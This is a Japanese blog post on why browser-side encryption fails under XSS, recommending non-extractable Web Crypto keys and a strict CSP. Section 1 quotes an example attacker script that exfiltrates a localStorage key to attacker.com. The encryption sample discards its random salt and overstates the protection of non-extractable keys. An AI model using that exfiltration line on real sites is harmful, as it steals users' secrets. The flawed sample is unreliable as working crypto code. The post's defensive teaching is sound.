クライアントサイド暗号化の幻想を捨てろ:XSSと鍵管理の「残酷な現実」
現場でインシデント対応をしていると、「ブラウザ側で暗号化しているからデータは安全だ」という甘い言葉を耳にすることがある。だが、断言しよう。ブラウザは、攻撃者にとっての「公開された遊び場」だ。
今回は、Web開発者が陥りやすい「クライアントサイド暗号化の罠」と、XSS(クロスサイトスクリプティング)を前提とした現実的な防御戦略について、泥臭い知見を共有する。
—
1. なぜ「ブラウザ暗号化」は無力なのか
多くのエンジニアは、AESなどの強力な暗号アルゴリズムを使えばデータは守られると考える。しかし、暗号化の強度は「鍵をどこで生成し、どこで保持するか」に100%依存する。
もし、JavaScriptで localStorage に鍵を保存していたり、メモリ上に平文の鍵を置いていたりすれば、XSSの脆弱性が一つあるだけで、攻撃者は以下のコードをブラウザのコンソールに流し込むだけで全てを奪える。
// 攻撃者がXSSで実行するスクリプトの例
// localStorageから暗号鍵を盗み出す
const secretKey = localStorage.getItem(‘encryption_key’);
fetch(‘https://attacker.com/log?key=’ + btoa(secretKey));
ブラウザで動くコードは、ユーザーのものだが、同時に「攻撃者のもの」でもある。これを理解せずに暗号化を実装するのは、鍵を玄関マットの下に置いてセキュリティを語るようなものだ。
—
2. 鍵管理のベストプラクティス:鍵をブラウザに触れさせない
クライアントサイドで暗号化を行う場合、「鍵そのもの」をブラウザに持たせないのが鉄則だ。
推奨アプローチ:Web Crypto API + 鍵の分離
鍵を直接JavaScriptで扱うのではなく、ブラウザの SubtleCrypto インターフェースを使用する。このAPIを使えば、鍵を「エクスポート不可」なオブジェクトとしてメモリ内に隠蔽できる。
セキュアな鍵生成と暗号化のサンプル (JavaScript)
async function encryptData(plainText, password) {
// 1. パスワードから鍵を導出(PBKDF2を利用)
const enc = new TextEncoder();
const keyMaterial = await crypto.subtle.importKey(
“raw”, enc.encode(password), { name: “PBKDF2” }, false, [“deriveKey”]
);
const key = await crypto.subtle.deriveKey(
{ name: “PBKDF2”, salt: crypto.getRandomValues(new Uint8Array(16)), iterations: 100000, hash: “SHA-256” },
keyMaterial,
{ name: “AES-GCM”, length: 256 },
false, // ← 重要:鍵をエクスポート不可に設定することで窃取を困難にする
[“encrypt”]
);
// 2. 暗号化実行
const iv = crypto.getRandomValues(new Uint8Array(12));
const encrypted = await crypto.subtle.encrypt(
{ name: “AES-GCM”, iv: iv }, key, enc.encode(plainText)
);
return { encrypted, iv };
}
この実装の肝は、extractable: false にある。これにより、XSSで任意のJSを実行できても、crypto.subtle.exportKey を使って鍵を取り出すことが不可能になる。
—
3. 防御の要:XSSを完全に封じ込める多層防御
暗号化の堅牢性を担保するのは、結局のところXSSを許さない環境づくりだ。特に「CSP(Content Security Policy)」によるスクリプト実行制限は必須である。
Nginxでの最強のCSP設定
攻撃者が外部から悪意あるスクリプトを注入できないよう、インフラ側で制御する。
Nginxの設定例
add_header Content-Security-Policy “default-src ‘self’; script-src ‘self’; object-src ‘none’; frame-ancestors ‘none’; base-uri ‘self’;”;
add_header X-Content-Type-Options “nosniff”;
add_header X-Frame-Options “DENY”;
script-src 'self':信頼されたサーバー上のJSのみ実行可能にする(インラインスクリプトを無効化)。object-src 'none':Flashなどのプラグインを無効化。base-uri 'self':タグによる攻撃を防ぐ。
—
4. 現場のシニアからのアドバイス
もしあなたが「クライアント側で暗号化しないと不安だ」という要件に直面しているなら、一度立ち止まって考えてほしい。
1. 通信経路はHTTPSで守られているか?(多くの場合、HTTPSだけで十分)
2. 機密データはサーバー側で暗号化(DB暗号化)しているか?
3. XSS対策としてサニタイズは完璧か?(innerTextやtextContentの使用、ライブラリによる自動エスケープ)
クライアントサイド暗号化は、「サーバーへの送信途中の盗聴」に対する保護にはなるが、「ブラウザ乗っ取り」に対する防御にはならない。
「コードを隠せば安全だ」という幻想は、攻撃者にとってはただのパズルに過ぎない。鍵管理の厳格化と、XSSを入り口で遮断するCSPの徹底。この2つが揃って初めて、君のアプリケーションは真に堅牢と言える。
次のリリースでは、まずはCSPの設定から見直してみよう。セキュリティは、一度の大きな実装よりも、こうした地道な設定の積み重ねが命を救うんだ。
コメント